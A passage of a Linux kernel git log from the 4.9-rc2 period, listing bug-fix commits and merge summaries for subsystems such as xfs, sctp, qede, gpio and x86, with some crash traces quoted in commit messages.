[ 1.739356] task: ee63d400 task.stack: ee70a000 [ 1.739365] PC is at mutex_lock+0xc/0x4c [ 1.739374] LR is at regulator_disable+0x2c/0x60 [ 1.739379] pc : [] lr : [] psr: 60000013 [ 1.739379] sp : ee70beb0 ip : 10624dd3 fp : ee6e6280 [ 1.739382] r10: eefb0900 r9 : 00000000 r8 : c1309918 [ 1.739385] r7 : 00000000 r6 : 00000040 r5 : 00000000 r4 : 00000040 [ 1.739390] r3 : 0000004c r2 : 7fffd540 r1 : 000001e4 r0 : 00000040 Instead of returning of_genpd_add_provider_onecell() directly, we should check its return value and in the case of error we should unwind the previously taken actions, which in these case are: - Call imx6q_pm_pu_power_off() - Set imx6q_pu_domain.reg back to NULL Setting imx6q_pu_domain.reg to NULL in the error case is important as it will prevent further operations in the pu_reg regulator. This kernel crash is not observed with imx_v6_v7_defconfig because it selects GPU and VPU drivers, which are consumers of the GPC block and thus change the refcount of the pu_reg regulator. Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/mach-imx/gpc.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) commit eef0b282bb586259d35548851cf6a4ce847bb804 Author: Fabio Estevam Date: Sat Oct 22 10:20:55 2016 -0200 ARM: imx: gpc: Initialize all power domains Since commit 0159ec670763dd ("PM / Domains: Verify the PM domain is present when adding a provider") the following regression is observed on imx6: imx-gpc: probe of 20dc000.gpc failed with error -22 The gpc probe fails because of_genpd_add_provider_onecell() now checks if all the domains are initialized via pm_genpd_present() function and it fails because not all the power domains are initialized. In order to fix this error, initialize all the power domains from imx_gpc_domains[], not only the imx6q_pu_domain.base one. Reported-by: Olof's autobooter Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/mach-imx/gpc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b77428b12b55437b28deae738d9ce8b2e0663b55 Author: Darrick J. Wong Date: Mon Oct 24 14:21:18 2016 +1100 xfs: defer should abort intent items if the trans roll fails If the deferred ops transaction roll fails, we need to abort the intent items if we haven't already logged a done item for it, regardless of whether or not the deferred ops has had a transaction committed. Dave found this while running generic/388. Move the tracepoint to make it easier to track object lifetimes. Reported-by: Dave Chinner Signed-off-by: Darrick J. Wong Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_defer.c | 17 +++++------------ 1 file changed, 5 insertions(+), 12 deletions(-) commit c17a8ef43d6b80ed3519b828c37d18645445949f Author: Brian Foster Date: Mon Oct 24 14:21:08 2016 +1100 xfs: clear cowblocks tag when cow fork is emptied The background cowblocks scan job takes care of scanning for inodes with potentially lingering blocks in the cow fork and clearing them out. If the background scanner reclaims the cow fork blocks, however, it doesn't immediately clear the cowblocks tag from the inode. Instead, the inode remains tagged until the background scanner comes around again, discovers the inode cow fork has no blocks, clears the tag and fires the trace_xfs_inode_free_cowblocks_invalid() tracepoint to indicate that the inode may have been incorrectly tagged. This is not a major functional problem as the tag is ultimately cleared. Nonetheless, clear the tag when an inode cow fork is explicitly emptied to avoid the extra round trip through the background scanner and spurious "invalid" tracepoint. Signed-off-by: Brian Foster Reviewed-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Signed-off-by: Dave Chinner fs/xfs/xfs_reflink.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 7b7381f043568224af798b1decb607dca97b4114 Author: Brian Foster Date: Mon Oct 24 14:21:00 2016 +1100 xfs: fix up inode cowblocks tracking tracepoints These calls are still using the eofblocks tracepoints. The cowblocks equivalents are already defined, we just aren't actually calling them. Signed-off-by: Brian Foster Reviewed-by: Christoph Hellwig Reviewed-by: Darrick J. Wong Signed-off-by: Dave Chinner fs/xfs/xfs_icache.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit c663e29f8885269c1608b5aa6057729fa9267b35 Author: Jan Kara Date: Mon Oct 24 14:20:25 2016 +1100 fs: Do to trim high file position bits in iomap_page_mkwrite_actor iomap_page_mkwrite_actor() calls __block_write_begin_int() with position masked as pos & ~PAGE_MASK which is equivalent to pos & (PAGE_SIZE-1). Thus it masks off high bits of file position. However __block_write_begin_int() expects full file position on input. This does not cause any visible issues because all __block_write_begin_int() really cares about are low file position bits but still it is a bug waiting to happen. Signed-off-by: Jan Kara Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner fs/iomap.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit a05b82d5149dfeef05254a11c3636a89a854520a Author: Vaibhav Jain Date: Fri Oct 21 14:53:53 2016 +0530 cxl: Fix leaking pid refs in some error paths In some error paths in functions cxl_start_context and afu_ioctl_start_work pid references to the current & group-leader tasks can leak after they are taken. This patch fixes these error paths to release these pid references before exiting the error path. Fixes: 7b8ad495d592 ("cxl: Fix DSI misses when the context owning task exits") Cc: stable@vger.kernel.org # v4.5+ Reviewed-by: Andrew Donnellan Reported-by: Frederic Barrat Signed-off-by: Vaibhav Jain Acked-by: Frederic Barrat Signed-off-by: Michael Ellerman drivers/misc/cxl/api.c | 2 ++ drivers/misc/cxl/file.c | 22 +++++++++++++--------- 2 files changed, 15 insertions(+), 9 deletions(-) commit d71cf15b865bdd45925f7b094d169aaabd705145 Author: Liu Gang Date: Fri Oct 21 15:31:28 2016 +0800 gpio: mpc8xxx: Correct irq handler function From the beginning of the gpio-mpc8xxx.c, the "handle_level_irq" has being used to handle GPIO interrupts in the PowerPC/Layerscape platforms. But actually, almost all PowerPC/Layerscape platforms assert an interrupt request upon either a high-to-low change or any change on the state of the signal. So the "handle_level_irq" is not reasonable for PowerPC/Layerscape GPIO interrupt, it should be "handle_edge_irq". Otherwise the system may lost some interrupts from the PIN's state changes. Signed-off-by: Liu Gang Signed-off-by: Linus Walleij drivers/gpio/gpio-mpc8xxx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 07d9a380680d1c0eb51ef87ff2eab5c994949e69 Author: Linus Torvalds Date: Sun Oct 23 17:10:14 2016 -0700 Linux 4.9-rc2 Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5ff93abc7a2aff167a91bf4ccd47bd0789f86fc0 Merge: c761923 c83ed4c Author: Linus Torvalds Date: Sun Oct 23 16:58:55 2016 -0700 Merge tag 'upstream-4.9-rc2' of git://git.infradead.org/linux-ubifs Pull UBI[FS] fixes from Richard Weinberger: "This contains fixes for issues in both UBI and UBIFS: - Fallout from the merge window, refactoring UBI code introduced some issues. - Fixes for an UBIFS readdir bug which can cause getdents() to busy loop for ever and a bug in the UBIFS xattr code" * tag 'upstream-4.9-rc2' of git://git.infradead.org/linux-ubifs: ubifs: Abort readdir upon error UBI: Fix crash in try_recover_peb() ubi: fix swapped arguments to call to ubi_alloc_aeb ubifs: Fix xattr_names length in exit paths ubifs: Rename ubifs_rename2 commit c761923cb80700cf8d907377e374d21b08c0ff77 Merge: a55da8a d74f3d2 Author: Linus Torvalds Date: Sun Oct 23 16:52:19 2016 -0700 Merge tag 'ext4_for_linus_stable' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4 Pull ext4 fixes from Ted Ts'o: "A few bug fixes and add some missing KERN_CONT annotations" * tag 'ext4_for_linus_stable' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4: ext4: add missing KERN_CONT to a few more debugging uses fscrypto: lock inode while setting encryption policy ext4: correct endianness conversion in __xattr_check_inode() fscrypto: make XTS tweak initialization endian-independent ext4: do not advertise encryption support when disabled jbd2: fix incorrect unlock on j_list_lock ext4: super.c: Update logging style using KERN_CONT commit a55da8a0ddac4ebe0d7b3a1e5902cb1d286f8062 Merge: e6995f2 1ba0158 Author: Linus Torvalds Date: Sun Oct 23 16:37:58 2016 -0700 Merge git://git.kernel.org/pub/scm/linux/kernel/git/nab/target-pending Pull SCSI target fixes from Nicholas Bellinger: "Here are the outstanding target-pending fixes for v4.9-rc2. This includes: - Fix v4.1.y+ reference leak regression with concurrent TMR ABORT_TASK + session shutdown. (Vaibhav Tandon) - Enable tcm_fc w/ SCF_USE_CPUID to avoid host exchange timeouts (Hannes) - target/user error sense handling fixes. (Andy + MNC + HCH) - Fix iscsi-target NOP_OUT error path iscsi_cmd descriptor leak (Varun) - Two EXTENDED_COPY SCSI status fixes for ESX VAAI (Dinesh Israni + Nixon Vincent) - Revert a v4.8 residual overflow change, that breaks sg_inq with small allocation lengths. There are a number of folks stress testing the v4.1.y regression fix in their environments, and more folks doing iser-target I/O stress testing atop recent v4.x.y code. There is also one v4.2.y+ RCU conversion regression related to explicit NodeACL configfs changes, that is still being tracked down" * git://git.kernel.org/pub/scm/linux/kernel/git/nab/target-pending: target/tcm_fc: use CPU affinity for responses target/tcm_fc: Update debugging statements to match libfc usage target/tcm_fc: return detailed error in ft_sess_create() target/tcm_fc: print command pointer in debug message target: fix potential race window in target_sess_cmd_list_waiting() Revert "target: Fix residual overflow handling in target_complete_cmd_with_length" target: Don't override EXTENDED_COPY xcopy_pt_cmd SCSI status code target: Make EXTENDED_COPY 0xe4 failure return COPY TARGET DEVICE NOT REACHABLE target: Re-add missing SCF_ACK_KREF assignment in v4.1.y iscsi-target: fix iscsi cmd leak iscsi-target: fix spelling mistake "Unsolicitied" -> "Unsolicited" target/user: Fix comments to not refer to data ring target/user: Return an error if cmd data size is too large target/user: Use sense_reason_t in tcmu_queue_cmd_ring commit e6995f22d3a0f0f56716fdd62a9cbc0c0791f824 Merge: 5766e9d 94cdc56 Author: Linus Torvalds Date: Sun Oct 23 16:21:28 2016 -0700 Merge tag 'hwmon-for-linus-v4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging Pull hwmon fixes from Guenter Roeck: "Couple of hwmon fixes: Fix a potential ERR_PTR dereference in max31790 driver, and handle temperature readings below 0 in adm9240 driver" * tag 'hwmon-for-linus-v4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging: hwmon: (max31790) potential ERR_PTR dereference hwmon: (adm9240) handle temperature readings below 0 commit 5766e9d25f41d79a0bb99e44a4408d00236dc3c7 Merge: 0c2b6dc bd85f4b Author: Linus Torvalds Date: Sun Oct 23 15:56:23 2016 -0700 Merge tag 'for-linus-4.9-2' of git://git.code.sf.net/p/openipmi/linux-ipmi Pull IPMI updates from Corey Minyard: "A small bug fix and a new driver for acting as an IPMI device. I was on vacation during the merge window (a long vacation) but this is a bug fix that should go in and a new driver that shouldn't hurt anything. This has been in linux-next for a month or so" * tag 'for-linus-4.9-2' of git://git.code.sf.net/p/openipmi/linux-ipmi: ipmi: fix crash on reading version from proc after unregisted bmc ipmi/bt-bmc: remove redundant return value check of platform_get_resource() ipmi/bt-bmc: add a dependency on ARCH_ASPEED ipmi: Fix ioremap error handling in bt-bmc ipmi: add an Aspeed BT IPMI BMC driver commit 6d8d271eee0eaa3c3ffd6db29a825e02316359d4 Author: Javier Martinez Canillas Date: Tue Oct 18 17:44:01 2016 -0300 gpio: ath79: Fix module autoload If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Before this patch: $ modinfo drivers/gpio/gpio-ath79.ko | grep alias $ After this patch: $ modinfo drivers/gpio/gpio-ath79.ko | grep alias alias: of:N*T*Cqca,ar9340-gpioC* alias: of:N*T*Cqca,ar9340-gpio alias: of:N*T*Cqca,ar7100-gpioC* alias: of:N*T*Cqca,ar7100-gpio Signed-off-by: Javier Martinez Canillas Acked-by: Aban Bedel Signed-off-by: Linus Walleij drivers/gpio/gpio-ath79.c | 1 + 1 file changed, 1 insertion(+) commit 44060abe1dd609d5efa641cce3784777ff5d507f Merge: a4b8e71 6add49f Author: David S. Miller Date: Sun Oct 23 17:51:38 2016 -0400 Merge branch 'for-upstream' of git://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth Johan Hedberg says: ==================== pull request: bluetooth 2016-10-21 Here are some more Bluetooth fixes for the 4.9 kernel: - Fix to btwilink driver probe function return value - Power management fix to hci_bcm - Fix to encoding name in scan response data Please let me know if there are any issues pulling. Thanks. ==================== Signed-off-by: David S. Miller commit 963d790468a2f581abf039b45edac79af5e16e55 Author: Ray Jui Date: Wed Jul 20 14:53:51 2016 -0700 arm64: dts: Updated NAND DT properties for NS2 SVK This patch adds NAND DT properties for NS2 SVK to configure the bus width width and OOB sector size Signed-off-by: Prafulla Kota Signed-off-by: Ray Jui Signed-off-by: Florian Fainelli arch/arm64/boot/dts/broadcom/ns2-svk.dts | 2 ++ 1 file changed, 2 insertions(+) commit a4b8e71b05c27bae6bad3bdecddbc6b68a3ad8cf Author: Jiri Slaby Date: Fri Oct 21 14:13:24 2016 +0200 net: sctp, forbid negative length Most of getsockopt handlers in net/sctp/socket.c check len against sizeof some structure like: if (len < sizeof(int)) return -EINVAL; On the first look, the check seems to be correct. But since len is int and sizeof returns size_t, int gets promoted to unsigned size_t too. So the test returns false for negative lengths. Yes, (-1 < sizeof(long)) is false. Fix this in sctp by explicitly checking len < 0 before any getsockopt handler is called. Note that sctp_getsockopt_events already handled the negative case. Since we added the < 0 check elsewhere, this one can be removed. If not checked, this is the result: UBSAN: Undefined behaviour in ../mm/page_alloc.c:2722:19 shift exponent 52 is too large for 32-bit type 'int' CPU: 1 PID: 24535 Comm: syz-executor Not tainted 4.8.1-0-syzkaller #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.1-0-gb3ef39f-prebuilt.qemu-project.org 04/01/2014 0000000000000000 ffff88006d99f2a8 ffffffffb2f7bdea 0000000041b58ab3 ffffffffb4363c14 ffffffffb2f7bcde ffff88006d99f2d0 ffff88006d99f270 0000000000000000 0000000000000000 0000000000000034 ffffffffb5096422 Call Trace: [] ? __ubsan_handle_shift_out_of_bounds+0x29c/0x300 ... [] ? kmalloc_order+0x24/0x90 [] ? kmalloc_order_trace+0x24/0x220 [] ? __kmalloc+0x330/0x540 [] ? sctp_getsockopt_local_addrs+0x174/0xca0 [sctp] [] ? sctp_getsockopt+0x10d/0x1b0 [sctp] [] ? sock_common_getsockopt+0xb9/0x150 [] ? SyS_getsockopt+0x1a5/0x270 Signed-off-by: Jiri Slaby Cc: Vlad Yasevich Cc: Neil Horman Cc: "David S. Miller" Cc: linux-sctp@vger.kernel.org Cc: netdev@vger.kernel.org Acked-by: Neil Horman Signed-off-by: David S. Miller net/sctp/socket.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 235bde1ed3f0fff0f68f367ec8807b89ea151258 Author: Fabio Estevam Date: Fri Oct 21 09:34:29 2016 -0200 net: fec: Call swap_buffer() prior to IP header alignment Commit 3ac72b7b63d5 ("net: fec: align IP header in hardware") breaks networking on mx28. There is an erratum on mx28 (ENGR121613 - ENET big endian mode not compatible with ARM little endian) that requires an additional byte-swap operation to workaround this problem. So call swap_buffer() prior to performing the IP header alignment to restore network functionality on mx28. Fixes: 3ac72b7b63d5 ("net: fec: align IP header in hardware") Reported-and-tested-by: Henri Roosen Signed-off-by: Fabio Estevam Signed-off-by: David S. Miller drivers/net/ethernet/freescale/fec_main.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b678aa578c9e400429e027269e8de2783e5e73ce Author: Jason A. Donenfeld Date: Fri Oct 21 18:28:25 2016 +0900 ipv6: do not increment mac header when it's unset Otherwise we'll overflow the integer. This occurs when layer 3 tunneled packets are handed off to the IPv6 layer. Signed-off-by: Jason A. Donenfeld Signed-off-by: David S. Miller net/ipv6/reassembly.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit a6e2846cacf97d4c70c5e923325b015cfa1e9053 Author: Sudarsana Reddy Kalluru Date: Fri Oct 21 02:09:17 2016 -0400 bnx2x: Use the correct divisor value for PHC clock readings. Time Sync (PTP) implementation uses the divisor/shift value for converting the clock ticks to nanoseconds. Driver currently defines shift value as 1, this results in the nanoseconds value to be calculated as half the actual value. Hence the user application fails to synchronize the device clock value with the PTP master device clock. Need to use the 'shift' value of 0. Signed-off-by: Sony.Chacko Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2x/bnx2x_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 64bc2d02d754f4143d65cc21c644176db12ab5c8 Author: Arnd Bergmann Date: Tue Oct 18 00:13:35 2016 +0200 iio: accel: sca3000_core: avoid potentially uninitialized variable The newly added __sca3000_get_base_freq function handles all valid modes of the SCA3000_REG_ADDR_MODE register, but gcc notices that any other value (i.e. 0x00) causes the base_freq variable to not get initialized: drivers/staging/iio/accel/sca3000_core.c: In function 'sca3000_write_raw': drivers/staging/iio/accel/sca3000_core.c:527:23: error: 'base_freq' may be used uninitialized in this function [-Werror=maybe-uninitialized] This adds explicit error handling for unexpected register values, to ensure this cannot happen. Fixes: e0f3fc9b47e6 ("iio: accel: sca3000_core: implemented IIO_CHAN_INFO_SAMP_FREQ") Signed-off-by: Arnd Bergmann Cc: Ico Doornekamp Cc: Jonathan Cameron Signed-off-by: Jonathan Cameron drivers/staging/iio/accel/sca3000_core.c | 2 ++ 1 file changed, 2 insertions(+) commit d1fe85ec7702917f2f1515b4c421d5d4792201a0 Author: Sandhya Bankar Date: Sun Sep 25 00:46:21 2016 +0530 iio:chemical:atlas-ph-sensor: Fix use of 32 bit int to hold 16 bit big endian value This will result in a random value being reported on big endian architectures. (thanks to Lars-Peter Clausen for pointing out the effects of this bug) Only effects a value printed to the log, but as this reports the settings of the probe in question it may be of direct interest to users. Also, fixes the following sparse endianness warnings: drivers/iio/chemical/atlas-ph-sensor.c:215:9: warning: cast to restricted __be16 drivers/iio/chemical/atlas-ph-sensor.c:215:9: warning: cast to restricted __be16 drivers/iio/chemical/atlas-ph-sensor.c:215:9: warning: cast to restricted __be16 drivers/iio/chemical/atlas-ph-sensor.c:215:9: warning: cast to restricted __be16 drivers/iio/chemical/atlas-ph-sensor.c:215:9: warning: cast to restricted __be16 drivers/iio/chemical/atlas-ph-sensor.c:215:9: warning: cast to restricted __be16 drivers/iio/chemical/atlas-ph-sensor.c:215:9: warning: cast to restricted __be16 drivers/iio/chemical/atlas-ph-sensor.c:215:9: warning: cast to restricted __be16 Signed-off-by: Sandhya Bankar Fixes: e8dd92bfbff25 ("iio: chemical: atlas-ph-sensor: add EC feature") Cc: Signed-off-by: Jonathan Cameron drivers/iio/chemical/atlas-ph-sensor.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit f18a37ff24160caad876a8d5c78f77d3c30efed7 Merge: 396a30c fabd545 Author: David S. Miller Date: Sat Oct 22 17:08:07 2016 -0400 Merge branch 'qed-fixes' Sudarsana Reddy Kalluru says: ==================== qed*: fix series. The patch series contains several minor bug fixes for qed/qede modules. Please consider applying this to 'net' branch. ==================== Signed-off-by: David S. Miller commit fabd545c6d27ac1977fe567c43cd4c72fad04172 Author: Manish Chopra Date: Fri Oct 21 04:43:45 2016 -0400 qede: Fix incorrrect usage of APIs for un-mapping DMA memory Driver uses incorrect APIs to unmap DMA memory which were mapped using dma_map_single(). This patch fixes it to use appropriate APIs for un-mapping DMA memory. Signed-off-by: Manish Chopra Signed-off-by: Yuval Mintz Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 4 ++-- drivers/net/ethernet/qlogic/qede/qede_main.c | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) commit 15c6de2c65048d45484e396194ba2598618d4cb4 Author: Sudarsana Reddy Kalluru Date: Fri Oct 21 04:43:44 2016 -0400 qed: Zero-out the buffer paased to dcbx_query() API qed_dcbx_query_params() implementation populate the values to input buffer based on the dcbx mode and, the current negotiated state/params, the caller of this API need to memset the buffer to zero. Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_dcbx.c | 2 ++ 1 file changed, 2 insertions(+) commit ed0dd91515bbe19a19cfccca366cf163ed581cac Author: Sudarsana Reddy Kalluru Date: Fri Oct 21 04:43:43 2016 -0400 qede: Reconfigure rss indirection direction table when rss count is updated Rx indirection table entries are in the range [0, (rss_count - 1)]. If user reduces the rss count, the table entries may not be in the ccorrect range. Need to reconfigure the table with new rss_count as a basis. Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 0e191827383a6503a3bc547e63c74ff093f450f5 Author: Sudarsana Reddy Kalluru Date: Fri Oct 21 04:43:42 2016 -0400 qed*: Reduce the memory footprint for Rx path With the current default values for Rx path i.e., 8 queues of 8Kb entries each with 4Kb size, interface will consume 256Mb for Rx. The default values causing the driver probe to fail when the system memory is low. Based on the perforamnce results, rx-ring count value of 1Kb gives the comparable performance with Rx coalesce timeout of 12 seconds. Updating the default values. Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_main.c | 1 + drivers/net/ethernet/qlogic/qede/qede.h | 2 +- include/linux/qed/qed_if.h | 1 + 3 files changed, 3 insertions(+), 1 deletion(-) commit 837d4eb6ed7cb0341079fac97e3037df6bef7482 Author: Sudarsana Reddy Kalluru Date: Fri Oct 21 04:43:41 2016 -0400 qede: Loopback implementation should ignore the normal traffic During the execution of loopback test, driver may receive the packets which are not originated by this test, loopback implementation need to skip those packets. Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede.h | 1 + drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 80 +++++++++++++++---------- drivers/net/ethernet/qlogic/qede/qede_main.c | 3 +- 3 files changed, 49 insertions(+), 35 deletions(-) commit ba300ce35123a9ba8ea55318b0f579cc1ab3f51a Author: Sudarsana Reddy Kalluru Date: Fri Oct 21 04:43:40 2016 -0400 qede: Do not allow RSS config for 100G devices RSS configuration is not supported for 100G adapters. Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 6 ++++++ 1 file changed, 6 insertions(+) commit bdc8cbd34d5d9d82c3db4df6a182b0530040062d Author: Sudarsana Reddy Kalluru Date: Fri Oct 21 04:43:39 2016 -0400 qede: get_channels() need to populate max tx/rx coalesce values Recent changes in kernel ethtool implementation requires the driver callback for get_channels() has to populate the values for max tx/rx coalesce fields. Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 2 ++ 1 file changed, 2 insertions(+) commit 396a30cce15d084b2b1a395aa6d515c3d559c674 Author: WANG Cong Date: Thu Oct 20 14:19:46 2016 -0700 ipv4: use the right lock for ping_group_range This reverts commit a681574c99be23e4d20b769bf0e543239c364af5 ("ipv4: disable BH in set_ping_group_range()") because we never read ping_group_range in BH context (unlike local_port_range). Then, since we already have a lock for ping_group_range, those using ip_local_ports.lock for ping_group_range are clearly typos. We might consider to share a same lock for both ping_group_range and local_port_range w.r.t. space saving, but that should be for net-next. Fixes: a681574c99be ("ipv4: disable BH in set_ping_group_range()") Fixes: ba6b918ab234 ("ping: move ping_group_range out of CONFIG_SYSCTL") Cc: Eric Dumazet Cc: Eric Salo Signed-off-by: Cong Wang Signed-off-by: David S. Miller net/ipv4/sysctl_net_ipv4.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 860e0217fcc9c52013d2dde0b5953fdc95276fc1 Merge: 2a73306 4a2947e Author: David S. Miller Date: Sat Oct 22 16:17:54 2016 -0400 Merge branch 'dsa-bcm_sf2-do-not-rely-on-kexec_in_progress' Florian Fainelli says: ==================== net: dsa: bcm_sf2: Do not rely on kexec_in_progress These are the two patches following the discussing we had on kexec_in_progress. Feel free to apply or discard them, thanks! ==================== Signed-off-by: David S. Miller commit 4a2947e32ea9ca2bc36d68022b7d7b1014dca18f Author: Florian Fainelli Date: Fri Oct 21 14:21:56 2016 -0700 net: dsa: bcm_sf2: Do not rely on kexec_in_progress After discussing with Eric, it turns out that, while using kexec_in_progress is a nice optimization, which prevents us from always powering on the integrated PHY, let's just turn it on in the shutdown path. This removes a dependency on kexec_in_progress which, according to Eric should not be used by modules Fixes: 2399d6143f85 ("net: dsa: bcm_sf2: Prevent GPHY shutdown for kexec'd kernels") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/bcm_sf2.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 0ce66d4f70d3bcfb67c89f473e76e7cf0a01288f Author: Florian Fainelli Date: Fri Oct 21 14:21:55 2016 -0700 Revert "kexec: Export kexec_in_progress to modules" This reverts commit 97dcaa0fcfd24daa9a36c212c1ad1d5a97759212. Based on the review discussion with Eric, we will come up with a different fix for the bcm_sf2 driver which does not make it rely on the kexec_in_progress value. Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller kernel/kexec_core.c | 1 - 1 file changed, 1 deletion(-) commit 2a73306b6096fafd5c2ae06ded1f92bbacb39df2 Author: Paul Moore Date: Fri Oct 21 21:49:14 2016 -0400 netns: revert "netns: avoid disabling irq for netns id" This reverts commit bc51dddf98c9 ("netns: avoid disabling irq for netns id") as it was found to cause problems with systems running SELinux/audit, see the mailing list thread below: * http://marc.info/?t=147694653900002&r=1&w=2 Eventually we should be able to reintroduce this code once we have rewritten the audit multicast code to queue messages much the same way we do for unicast messages. A tracking issue for this can be found below: * https://github.com/linux-audit/audit-kernel/issues/23 Reported-by: Stephen Smalley Reported-by: Elad Raz Cc: Cong Wang Signed-off-by: Paul Moore Signed-off-by: David S. Miller net/core/net_namespace.c | 35 ++++++++++++++++++++--------------- 1 file changed, 20 insertions(+), 15 deletions(-) commit 989cea5c14be024e879c0055dc6d033680a52610 Author: Nicholas Piggin Date: Fri Oct 21 01:13:33 2016 +1100 kbuild: prevent lib-ksyms.o rebuilds Signed-off-by: Nicholas Piggin Reported-by: Russell King Tested-by: Russell King Signed-off-by: Michal Marek scripts/Makefile.build | 3 +++ 1 file changed, 3 insertions(+) commit 0c2b6dc4fd4fa13796b319aae969a009f03222c6 Merge: 3e9679a 5938768 Author: Linus Torvalds Date: Sat Oct 22 10:23:15 2016 -0700 Merge branch 'timers-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull timer updates from Thomas Gleixner: "This updates contains: - A revert which addresses a boot failure on ARM Sun5i platforms - A new clocksource driver, which has been delayed beyond rc1 due to an interrupt driver issue which was unearthed by this driver. The debugging of that issue and the discussion about the proper solution made this driver miss the merge window. There is no point in delaying it for a full cycle as it completes the basic mainline support for the new JCore platform and does not create any risk outside of that platform" * 'timers-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: Revert "clocksource/drivers/timer_sun5i: Replace code by clocksource_mmio_init" clocksource: Add J-Core timer/clocksource driver of: Add J-Core timer bindings commit 3e9679a365d3b92ae770066cd0e3a2c01fcc64e2 Merge: 86c5bf7 ff85605 Author: Linus Torvalds Date: Sat Oct 22 09:58:49 2016 -0700 Merge branch 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 fixes from Ingo Molnar: "Three fixes, a hw-enablement and a cross-arch fix/enablement change: - SGI/UV fix for older platforms - x32 signal handling fix - older x86 platform bootup APIC fix - AVX512-4VNNIW (Neural Network Instructions) and AVX512-4FMAPS (Multiply Accumulation Single precision instructions) enablement. - move thread_info back into x86 specific code, to make life easier for other architectures trying to make use of CONFIG_THREAD_INFO_IN_TASK_STRUCT=y" * 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/boot/smp: Don't try to poke disabled/non-existent APIC sched/core, x86: Make struct thread_info arch specific again x86/signal: Remove bogus user_64bit_mode() check from sigaction_compat_abi() x86/platform/UV: Fix support for EFI_OLD_MEMMAP after BIOS callback updates x86/cpufeature: Add AVX512_4VNNIW and AVX512_4FMAPS features x86/vmware: Skip timer_irq_works() check on VMware commit 86c5bf7101991608483c93e7954b93acdc85ea57 Merge: bfb7bfe d17af50 Author: Linus Torvalds Date: Sat Oct 22 09:39:10 2016 -0700 Merge branch 'mm-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull vmap stack fixes from Ingo Molnar: "This is fallout from CONFIG_HAVE_ARCH_VMAP_STACK=y on x86: stack accesses that used to be just somewhat questionable are now totally buggy. These changes try to do it without breaking the ABI: the fields are left there, they are just reporting zero, or reporting narrower information (the maps file change)" * 'mm-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: mm: Change vm_is_stack_for_task() to vm_is_stack_for_current() fs/proc: Stop trying to report thread stacks fs/proc: Stop reporting eip and esp in /proc/PID/stat mm/numa: Remove duplicated include from mprotect.c commit bfb7bfef6f9e8f113b892070fd622ae1c52e676b Merge: 90e0105 a442950 Author: Linus Torvalds Date: Sat Oct 22 09:33:51 2016 -0700 Merge branch 'irq-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull irq fixes from Ingo Molnar: "Mostly irqchip driver fixes, plus a symbol export" * 'irq-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: kernel/irq: Export irq_set_parent() irqchip/gic: Add missing \n to CPU IF adjustment message irqchip/jcore: Don't show Kconfig menu item for driver irqchip/eznps: Drop pointless static qualifier in nps400_of_init() 